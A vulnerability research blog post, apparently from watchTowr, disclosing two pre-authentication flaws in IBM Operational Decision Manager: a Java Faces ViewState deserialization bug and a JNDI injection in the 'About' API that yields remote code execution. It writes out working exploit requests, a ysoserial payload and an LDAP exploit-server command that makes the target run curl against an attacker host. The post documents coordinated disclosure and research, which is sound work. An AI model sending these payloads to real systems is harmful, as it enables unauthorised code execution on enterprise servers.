“To live is to fight, to fight is to live! - IBM ODM Remote Code Execution

In previous blogs, we’ve discussed some of the big players in the enterprise software space, but there is one that we have not mentioned before, that is - quite frankly - the heavy-weight champion of the world in terms of applications for large enterprises. With over a hundred years of experience, a founder and leader in the tech world, and weighing in at nearly a $170b US market cap - it’s IBM.

Here at watchTowr, we’re not intimidated by the name (or tweets) - at the end of the day, code is code, and we’re no strangers to discovering vulnerabilities that bring applications to the ropes and knock them down for the count.

In today’s match-up, we’re looking at various versions(both old and new!) of IBM’s “Operational Decision Manager” (ODM). IBM ODM, as described by Big Blue themselves:

IBM Operational Decision Manager (ODM) is a powerful decision management platform that streamlines decision authoring and editing, with enterprise-grade features such as a traceability, simulation, versioning and auditing. IBM ODM helps organizations build precise decisions that help organizations increase efficiency, manage compliance, and improve operational agility.

Powerful. Decisions. Streamline. Agility. Big words, from Big Blue.

Booking The Fight

Getting ahold of IBM software is usually not easy; most of their products come with hefty price tags, even when looking at virtualized solutions in cloud marketplaces.

However, in an uncharacteristic turn of events, IBM actually offers a friendly Docker environment for the IBM ODM product in question, ready and waiting for developers to spar with - check it out on DockerHub at https://hub.docker.com/r/ibmcom/odm.

When auditing an application like this, we like to do some pre-research into the application to observe how it has grown over time. We find that watching how a particular software package has evolved and mutated new features can be revealing and helpful in guiding us through what is otherwise 'complex'.

This is demonstrated previously in our OpenCMS blog. In this instance, it's entirely possible, thankfully with Docker tags.

So - let’s do some pre-fight research into ODM, and see how it has grown over the years, by booting up the earliest version available (8.9.2.0, a six-year vintage):

docker run -e LICENSE=accept -p 9060:9060 -p 9443:9443  -m 2048M --memory-reservation 2048M  -e SAMPLE=true ibmcom/odm:8.9.2.0

Following the documentation from their Docker repository, we can instantly ascertain that the main web interfaces are exposed on the following ports and endpoints:

Component URL Username Password
http://localhost:9060/res http://localhost:9060/res odmAdmin odmAdmin
http://localhost:9060/DecisionService http://localhost:9060/DecisionService odmAdmin odmAdmin
http://localhost:9060/decisioncenter http://localhost:9060/decisioncenter odmAdmin odmAdmin
http://localhost:9060/DecisionRunner http://localhost:9060/DecisionRunner odmAdmin odmAdmin

Round 1: CVE-2024-22320, Java Deserialization… FIGHT!

When looking into an application as researchers, we can often be quick to start pulling apart its internals and filesystem.

However, it is also sometimes critical to simply browse the application, as if we were end-users, and take stock of what we see. When we do just this, navigating the service running on port 9060, we can see the typical file extension in use is .jsf, which, for those unfamiliar, indicates the Java Faces Framework; this comes with its own set of historical vulnerabilities (for example, the ViewState).

When logging into the administration panel and taking a peek at the resultant HTTP traffic, we can see in the response a string that should make any bug hunter shout ‘HADOUKEN’ from their desktop:

"javax.faces.ViewState" value="rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAN0AAE0cHQAEy9wcm90ZWN0ZWQvaG9tZS5qc3A="

For the uninitiated, the prefix rO0ABXV indicates an unencrypted Java Object. This is a well-documented characteristic of earlier versions of the Java Faces Framework. Should a user be able to supply their own value for this javax.faces.ViewState parameter, then it is typically possible to achieve Remote Code Execution by exploiting deserialization routines with a malicious Java object.

Before we get excited, though, we need to double-check our facts. First off, can this ViewState be consumed pre-authenticated? Let's try by hitting the login.jsf endpoint to see:

GET /res/login.jsf?javax.faces.ViewState=watchTowr HTTP/1.1
Host: localhost:9060

The response shows it does! Happy day!

HTTP/1.1 500 Internal Server Error
X-Powered-By: Servlet/3.1
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Content-Type: text/html;charset=ISO-8859-1
$WSEP: 
Content-Language: en-US
Connection: Close
Date: Mon, 19 Feb 2024 03:09:48 GMT
Content-Length: 84

Error 500: javax.servlet.ServletException: error while processing state : watchTowr

Fantastic, we’re making good progress with some opportunistic button-bashing (adding a '/' there, a ';' there, and see what we get :^) ).

When looking at Java Deserialization, we have a few options available, such as creating a custom gadget chain that results in Remote Code Execution. First, though, it’s always worth checking the open-source project ysoserial to see if we can use any known gadget chains and make things faster.

A typical gadget chain that is present in almost all scenarios is the URLDNS chain, which can be used to make an external DNS callback to our listening infrastructure. It does this by serializing a URLDNS object, and setting the hashCode member to -1, which has the effect of causing the hashCode to be recomputed when the URLDNS is compared with anything. In the process of computing the hashCode, the URLDNS object calls hashCode on a URL, which in turn causes the URL to be resolved and thus generates our DNS callback.

The command to generate the payload from ysoserial looks something like this:

./java -jar ysoserial.jar URLDNS "<http://listening-host>" | base64

We can then URL-encode the object generated by ysoserial and pass it in, like so:

GET /res/login.jsf?javax.faces.ViewState=%72%4f%30%41%42%58%4e%79%41%42%46%71%59%58%5a%68%4c%6e%56%30%61%57%77%75%53%47%46%7a%61%45%31%68%63%41%55%48%32%73%48%44%46%6d%44%52%41%77%41%43%52%67%41%4b%62%47%39%68%5a%45%5a%68%59%33%52%76%63%6b%6b%41%43%58%52%6f%63%6d%56%7a%61%47%39%73%5a%48%68%77%50%30%41%41%41%41%41%41%41%41%78%33%43%41%41%41%41%42%41%41%41%41%41%42%63%33%49%41%44%47%70%68%64%6d%45%75%62%6d%56%30%4c%6c%56%53%54%4a%59%6c%4e%7a%59%61%2f%4f%52%79%41%77%41%48%53%51%41%49%61%47%46%7a%61%45%4e%76%5a%47%56%4a%41%41%52%77%62%33%4a%30%54%41%41%4a%59%58%56%30%61%47%39%79%61%58%52%35%64%41%41%53%54%47%70%68%64%6d%45%76%62%47%46%75%5a%79%39%54%64%48%4a%70%62%6d%63%37%54%41%41%45%5a%6d%6c%73%5a%58%45%41%66%67%41%44%54%41%41%45%61%47%39%7a%64%48%45%41%66%67%41%44%54%41%41%49%63%48%4a%76%64%47%39%6a%62%32%78%78%41%48%34%41%41%30%77%41%41%33%4a%6c%5a%6e%45%41%66%67%41%44%65%48%44%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%33%51%41%4c%47%6b%7a%62%58%59%32%5a%44%42%76%4d%57%70%78%4d%7a%56%70%64%54%67%79%5a%6a%63%79%5a%57%35%7a%5a%54%4d%31%4f%58%64%34%62%6d%78%6a%4c%6d%39%68%63%33%52%70%5a%6e%6b%75%59%32%39%74%64%41%41%41%63%51%42%2b%41%41%56%30%41%41%52%6f%64%48%52%77%63%48%68%30%41%44%4e%6f%64%48%52%77%4f%69%38%76%61%54%4e%74%64%6a%5a%6b%4d%47%38%78%61%6e%45%7a%4e%57%6c%31%4f%44%4a%6d%4e%7a%4a%6c%62%6e%4e%6c%4d%7a%55%35%64%33%68%75%62%47%4d%75%62%32%46%7a%64%47%6c%6d%65%53%35%6a%62%32%31%34 HTTP/1.1
Host: localhost:9060

We can see in the HTTP response that a chain has been called to java.util.HashMap. Checking our DNS server logs (or using a canarytoken) confirms that interaction has taken place.

HTTP/1.1 500 Internal Server Error
X-Powered-By: Servlet/3.1
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Content-Type: text/html;charset=ISO-8859-1
$WSEP: 
Content-Language: en-US
Connection: Close
Date: Mon, 19 Feb 2024 03:16:40 GMT
Content-Length: 103

Error 500: javax.servlet.ServletException: java.util.HashMap incompatible with [Ljava.lang.Object&#59;

We spent some time looking at publicly available gadget chains included with ysoserial (and beyond), but none could get us past the finishing line to RCE. A custom chain is required to exploit this issue, which is unfortunately outside the scope of this blog post.

This Java Faces deserialization issue wasn’t raised, or disclosed previously for ODM, so we contacted IBM, who assigned this a whopping 9.8 and CVE-2024-22320. Phwoar!

Editors note: The character to CVSS score ratio here is 'no bueno'.

Round 2: CVE-2024-22319, JNDI Injection… FIGHT

Having proved ourselves against historical releases of ODM, it's time to look ahead. We wanted a zero-day in the latest version of ODM. Let’s load up the main event, version 8.12 :

docker run -e LICENSE=accept -p 9060:9060 -p 9445:9443  -m 2048M --memory-reservation 2048M  -e SAMPLE=true ibmcom/odm:8.12

From a quick look around, we can see the Java Faces dependency has been upgraded to myfaces-impl-1.1.10.jar. In this version, the ViewState is encrypted by default, so by chance of a dependency update, IBM has been saved from CVE-2024-22320.

Undeterred, let's keep going: looking through the filesystem, we can see several .war files and the associated resources for various applications.

/opt/ibm/wlp/usr/servers/defaultServer/apps/DecisionService.war
/opt/ibm/wlp/usr/servers/defaultServer/apps/DecisionRunner.war
/opt/ibm/wlp/usr/servers/defaultServer/apps/decisioncenter.war
/opt/ibm/wlp/usr/servers/defaultServer/apps/decisioncenter-api.war
/opt/ibm/wlp/usr/servers/defaultServer/apps/odm-loan-server-1.0.war
/opt/ibm/wlp/usr/servers/defaultServer/apps/res.war
/opt/ibm/wlp/usr/servers/defaultServer/apps/welcomepage.war

Most seem to be servlets which create web.xml files for mapping purposes using the <url-pattern> tags. The only one that doesn’t follow this pattern is decisioncenter-api.war, which appears to be a REST API.

When navigating to this endpoint via a web browser, a Swagger document is available, giving us juicy details about various API's available.

Regrettably, all APIs except one appear to require authentication, and so aren’t relevant for our goal of pre-authenticated RCE (at this stage). The lone exception is the "About" API. But how much damage could the "About" API possibly cause..? Well, let’s take a look at the API.

Looking at this, your eyes should keenly zero in on something suspicious. That's right! Does the ‘About’ API take in a parameter for a JNDI object? (and why would an ‘About’ API require this functionality?! We’ll leave that question to the philosophers - and the Twitter warriors).

For those new to the concept of JNDI, it stands for "Java Naming and Directory Interface." Fret not, we hopped on the AI bandwagon and asked ChatGPT to explain JNDI for us:

Imagine you're in a vast library and want to find a particular book. You know the book's title but need to know its location. So, what do you do? You ask the librarian.

In the world of Java programming, JNDI is like that librarian. It helps you find and access resources like databases, services, or objects in a Java environment without knowing exactly where they are located or how they are implemented.

Here's how it works:Naming: JNDI provides a way to name these resources, just like each book in the library has a unique title. These names are organized hierarchically, similar to how books are categorized by genres, authors, or topics in the library.Directory: Think of JNDI as a directory system in the library. To locate a book, consult the directory. Similarly, when your Java program needs to access a resource, it consults JNDI to discover the resource by its name.Interface: JNDI provides a set of Java interfaces and classes your program can use to interact with the naming and directory services. These interfaces define methods for looking up, adding, updating, and removing resources.

In summary, JNDI is like a helpful librarian in a vast library of resources, assisting your Java programs in finding and accessing the resources they need without you having to worry about their exact locations or implementations.

Thanks, ChatGPT! It seems that JNDI is some kind of Java-based librarian.

So now that's a bit clearer, you might be asking why this is useful for us in our quest to impact the killer blow. Well, time for some more history - several years ago (in 2016, to be precise), some very clever researchers (Alvaro Muñoz and Oleksandr Mirosh) looked into a then-new vulnerability class, ‘JNDI Injection’, and found some very interesting behaviour.

They noted that, when a JNDI lookup takes place, code flow typically passes through a Context.lookup function. Code to perform a lookup might look something similar to the following:

public class JNDILookupExample {
    public static void main(String[] args) {
        try {
            // Create a JNDI initial context. This is like connecting to the library.
            Context ctx = new InitialContext();

            // Specify the name of the resource you want to look up.
            String resourceName = "java:/comp/env/jdbc/myDB";

            // Perform the lookup. This is like asking the librarian for a specific book.
            Object resource = ctx.lookup(resourceName);

            // Use the resource in your application.
            System.out.println("Resource found: " + resource);

            // Close the context when you're done.
            ctx.close();
        } catch (NamingException e) {
            // Handle any naming exception that might occur.
            e.printStackTrace();
        }
    }
}

Critically, they found that once a user has access to the parameter that controls the resourceName passed to the lookup() function, it’s possible to reference other registered Java Objects, opening up a gateway to RCE.

The researchers mentioned that it is possible to do this via two different protocols - specifically, the rmi:// and ldap:// protocols. These two protocols host Java Objects, which can be deserialized by the fetching server, resulting in Remote Code Execution.

To test if it's possible to reach the all-important lookup() function remotely, we can use one of these two protocol handlers, pointing the request to our external listening infrastructure (for example, a DNS canary token) and observe any callbacks:

GET /decisioncenter-api/v1/about?datasource=ldap://external-host HTTP/1.1
Host: localhost:9060

Taking a look through the docker logs confirms that a lookup has taken place (and failed):

2024-02-19 14:18:17 [ERROR   ] Error while connecting to the Decision Center backend: Could not lookup datasource named 'ldap://external-host'
2024-02-19 14:18:17 Could not lookup datasource named 'ldap://external-host'

An excellent level of detail went into the original research, and it would be of no real benefit to duplicate it here, so curious readers are encouraged to read the BlackHat presentation https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf.

While the researchers point out that exploitation via RMI is typically not possible as a Security Manager is enabled by default, this is usually not the case when abusing the LDAP protocol. There is a clear path to the fabled RCE.

Our planned exploitation sequence is as follows:

  1. We send a malicious LDAP-URI to ODM, referencing an LDAP server we control
  2. ODM processes the LDAP request, which finds its way into an InitialContext.lookup() call
  3. Our malicious LDAP server responds with an LDAP object containing a serialized java object
  4. ODM deserializes the object chain garnered from our LDAP server
  5. Ding-Ding-Ding! RCE!

Hosting our own LDAP server sounds like a tedious exercise, but thankfully, there’s an open-source project that does precisely what we want - https://github.com/cckuailong/JNDI-Injection-Exploit-Plus.

We found that some experimentation was needed to find a gadget chain that satisfies the current classpath and avoids security mechanisms. After a little bit of experimentation, we found several gadget chains that worked, including the Jackson XML gadget chain, which we’ll use for demonstration.

To validate that RCE is possible, we need the following resources set up:

  • Server A, running IBM ODM
  • Server B, running an HTTP listening server
  • Server C, running JNDI-Injection-Exploit-Plus

On server C, we start the tool with the following command, which starts the LDAP server up:

java -jar JNDI-Injection-Exploit-Plus-2.2-SNAPSHOT-all.jar -C "curl http://<Server B IP Address>" -A "<Server C IP Address>"

And then we send the following request to Server A, which is happily running an instance of IBM.

GET /decisioncenter-api/v1/about?datasource=ldap://<Server C IP Address>:1389/deserialJackson HTTP/1.1
Host: localhost:9060

Our sequence of events fires perfectly - the LDAP server is queried and serves a malicious serialised blob, which is then deserialized, causing the curl command to be executed. Finally, we see a HTTP callback will on Server B:

GET / HTTP/1.1
Host: ServerB
Accept: */*
User-Agent: curl/7.61.1

The Docker logs on Server A contain an error message, confirming that the deserialization has taken place.

2024-02-19 14:40:43 [ERROR   ] Error while connecting to the Decision Center backend: com.fasterxml.jackson.databind.JsonMappingException: (was java.lang.NullPointerException) (through reference chain: com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl["outputProperties"])
2024-02-19 14:40:43 com.fasterxml.jackson.databind.JsonMappingException: (was java.lang.NullPointerException) (through reference chain: com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl["outputProperties"])

With some code analysis, we were able to narrow down the code block which causes this lookup to take place, deep within the depths of ilog.rules.teamserver.ejb.service.dao.IlrElementDAOFactory.

The HTTP request parameter datasource is fed into a variable lookupName, and then this is passed to the all-important lookup() function for a JNDI context ctx without any further validation.

public class IlrElementDAOFactory {
  private static Map<String, IlrElementDAO> daoMap = new HashMap<>();
  
  private static SnapshotCleanupService snapshotCleanup;
  
  public static IlrElementDAO getInstance(String dataSourceName) throws IlrDataSourceException {
    IlrElementDAO dao = daoMap.get(dataSourceName);
    if (dao == null) {
      DataSource dataSource;
      InitialContext ctx = null;
      String lookupName = dataSourceName;
      try {
        ctx = new InitialContext();
        lookupName = "java:comp/env/" + dataSourceName;
        dataSource = (DataSource)ctx.lookup(lookupName);
        ctx.close();
      } catch (NamingException e) {
        if (ctx == null)
          throw new IlrDataSourceException(dataSourceName, e); 
        try {
          lookupName = dataSourceName;
          dataSource = (DataSource)ctx.lookup(lookupName);
          ctx.close();
        } catch (NamingException e2) {
          try {
            lookupName = "java:/" + dataSourceName;
            dataSource = (DataSource)ctx.lookup(lookupName);
            ctx.close();
          } catch (NamingException e3) {
            throw new IlrDataSourceException(dataSourceName, e);
          } 
        } 
      } 
      dao = buildNewDAO(dataSource, dataSourceName.intern());
      daoMap.put(dataSourceName, dao);
    } 
    if (snapshotCleanup != null && !dao.isRegisteredForSnapshotCleanup()) {
      dao.setRegisteredForSnapshotCleanup(true);
      snapshotCleanup.addDatasource(dataSourceName);
    } 
    return dao;
  }

Post Fight Interview

Having knocked out ODM a second time, we contacted IBM once again, who promptly assigned CVE-2024-22319 with a CVSS of 8.1 - that’s right, a pre-authenticated Remote Code Execution classified as ‘High’, and not the ‘Critical’ we were hoping for 🤡.

Perhaps this post is enough to prove exploitability.

Conclusion

Great news - IBM released an advisory for all versions of ODM, which can be found here - https://www.ibm.com/support/pages/node/7112382?_ga=2.244854796.861635083.1708325068-554310897.1684384757.

If anyone asks enough, IBM may also provide SIGMA rules - fingers crossed!

“Should've done SIGMA rules, scrub”

As part of our comms with IBM, they also confirmed the following product versions were affected:

Affected Product(s) Version(s)
IBM Operational Decision Manager 8.10.3
IBM Operational Decision Manager 8.10.4
IBM Operational Decision Manager 8.10.5.1
IBM Operational Decision Manager 8.11.0.1
IBM Operational Decision Manager 8.11.1
IBM Operational Decision Manager 8.12.0.1

Hopefully, this post has shown you how fun Java deserialization bugs can be, and just how devastating they can be when circumstance aligns and a full RCE chain is possible.

As researchers, we’re big fans of this bug class as it seems to pop up in unexpected places, and because it lends itself to such clean exploitation once a chain is found.

At watchTowr, we believe continuous security testing is the future, enabling the rapid identification of holistic high-impact vulnerabilities that affect your organisation.

It's our job to understand how emerging threats, vulnerabilities, and TTPs affect your organisation.

If you'd like to learn more about the watchTowr Platform, our Attack Surface Management and Continuous Automated Red Teaming solution, please get in touch.

Timeline

Date Detail
3rd January 2024 Vulnerability discovered
3rd January 2024 watchTowr hunts through client's attack surfaces for impacted systems, and communicates with those affected
4th January 2024 Vulnerabilities disclosed to IBM PSIRT
4th January 2024 IBM responds and assigned the internal tracking references “ADV0107631, ADV0107556”
29th January 2024 IBM issues a security advisory and assigns the identifiers CVE-2024-22319 and CVE-2024-22320 - https://www.ibm.com/support/pages/node/7112382
22nd February 2024 Blogpost and PoC released to public